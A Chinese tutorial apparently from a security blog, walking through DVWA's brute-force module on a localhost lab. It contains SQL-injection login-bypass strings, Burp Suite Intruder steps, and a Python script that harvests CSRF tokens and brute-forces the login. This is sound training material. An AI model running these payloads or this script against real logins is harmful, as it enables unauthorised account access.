DVWA——Brute Force(暴力破解)

时间:2024-03-06 10:17:16

DVWA简介:

DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者更好的理解Web应用安全防范的过程。
DVWA一共包含十个模块分别是:
1.Bruce Force //暴力破解
2.Command Injection //命令注入
3.CSRF //跨站请求伪造
4.File Inclusion //文件包含
5.File Upload //文件上传漏洞
6.Insecure CAPTCHA //不安全的验证
7.SQL Injection //sql注入
8.SQL Injection(Blind) //sql注入(盲注)
9.XSS(Reflected) //反射型XSS
10.XSS(Stored) //存储型XSS
同时每个模块的代码都有4种安全等级:Low、Medium、High、Impossible。通过从低难度到高难度的测试并参考代码变化可帮助学习者更快的理解漏洞的原理。
 

这一节介绍的就是第一个模块:暴力破解

这里指的是黑客利用字典密码,使用穷举法猜解出用户口令。

DVWA分为四个等级:分为 low、Medium、high、Impossible

 

 

low级别:

 

 我们通过观看源代码发现,只是验证了参数Login是否被设置,并没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。

这类情况我们有两种方法

方法一:使用burpsuite抓包爆破

先随便输入一个用户名密码,然后进行抓包。

 

 

 

 发送到爆破模块,然后清除全部变量,再对username和password添加变量进行暴力破解,并设置爆破类型。

爆破类型分四种:Sniper(狙击手)、Battering ram(攻城锤)、Pitchfork(草叉模式)、Cluster bomb(集束炸弹)。

这里我们使用的是Cluster bomb,因为这样我们才能同时爆破出用户名和密码来。

 

 

 

 

 

 然后对这两个变量载入字典(字典可以自己百度搜索自己下载),再设置线程。最后点击Start attack进行爆破(找不到Start attack按键的可以去Intruder菜单下找)

 

 

 

 

 

 我们发现这个返回的长度和其他的不一样,那么我们推测它就是正确的密码

 

方法二:手工注入

用户名:admin‘# 或者 admin \' or \'1\'=\'1 

密码:随意

 

Medium级别:

可以在这个位置观察源码

 

 

 通过观察源码发现,Medium级别的代码主要增加了mysql_real_escape_string函数,除了宽字节注入外,可以抵挡其他的不能sql注入。

但是还是没有加入有效的防爆破机制,所以还是可以用上面的第一种方法使用burp爆破这里就不再赘述了。

 

High级别:

 

根据源码可以知道,这个级别对爆破攻击有一定的防护作用,但是也有疏忽的地方。

这个级别要校验token,每次都需要更新token。使用mysqli_real_escape_string(str)函数用户名的特殊符号(\x00,\n,\r,\,‘,“,\x1a)(ascii码0,换行,回车,回退)进行转义,

而且完全的抵抗了SQL的注入。

 

方法一:使用burp

 

前面操作和low一样,把抓的包发送到intruder,我们选中我们需要攻击的目标:

 

password 为参数1,让它使用字典。(这里就不用我那个大字典了,,太难查)

 

 

 

 这个user_token就不是单纯的使用字典了,而是需要从我们的页面中获取。(照我图上这么做就好了)

 一定要设置跟随重定向,方法如下:options->redirection设置为always

 

 

 

 把user_token设为参数2,最后点击 Start attack:

 

 

 

 

发现我们的值就出来了。。

 

 

 

方法二:python脚本

代码如下:

#! /usr/bin/env/python
#-*-coding:utf-8-*-

import requests
from bs4 import BeautifulSoup

#字典
payloads = [
    \'administrator\',
    \'admin\',
    \'password\',
    \'passwd\',
    \'123456\',
    \'123\'
]

url = """http://localhost/dvwa/vulnerabilities/brute/?username={0}&password={1}&Login=Login&user_token={2}#"""

cookies = {
    \'security\':\'high\',
    \'PHPSESSID\':\'cd1fggfc0bi84c3lh7kpsh98g2\',
    \'mask\':\'123\'
}

headers = {
    \'User-Agent\':\'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\',
}

def attack(payloads,url):
    #先要获得user_token
    source = \'http://localhost/dvwa/vulnerabilities/brute/index.php#\'
    index = 0
    web_data = requests.get(source,headers = headers,cookies=cookies)#请求必须带上cookie,因为dvwa需要登陆
    soup = BeautifulSoup(web_data.text, \'lxml\')
    user_token = soup.select(\'input[name="user_token"]\')[0][\'value\']
    #从字典枚举
    for payload1 in payloads:
        for payload2 in payloads:
            target = url.format(payload1,payload2,user_token)
            print u\'当前请求:\'+target
            web_data = requests.get(target,headers = headers,cookies=cookies)
            soup = BeautifulSoup(web_data.text,\'lxml\')
            user_token = soup.select(\'input[name="user_token"]\')[0][\'value\']
            feature = soup.find(\'pre\')
            try:
                if feature.get_text()==\'Username and/or password incorrect.\':#错误的密码或者用户名就会页面会出现此语句,这也是我们需要检索的
                    print u\'错误\'
            except:
                print u\'可能得到结果:\'
                print \'username:\'+payload1+\'\n\'+\'password:\'+payload2
                exit(u\'结束\')

if __name__ == \'__main__\':
    attack(payloads,url)

 

 

 

 

Impossible级别:

Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续;
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。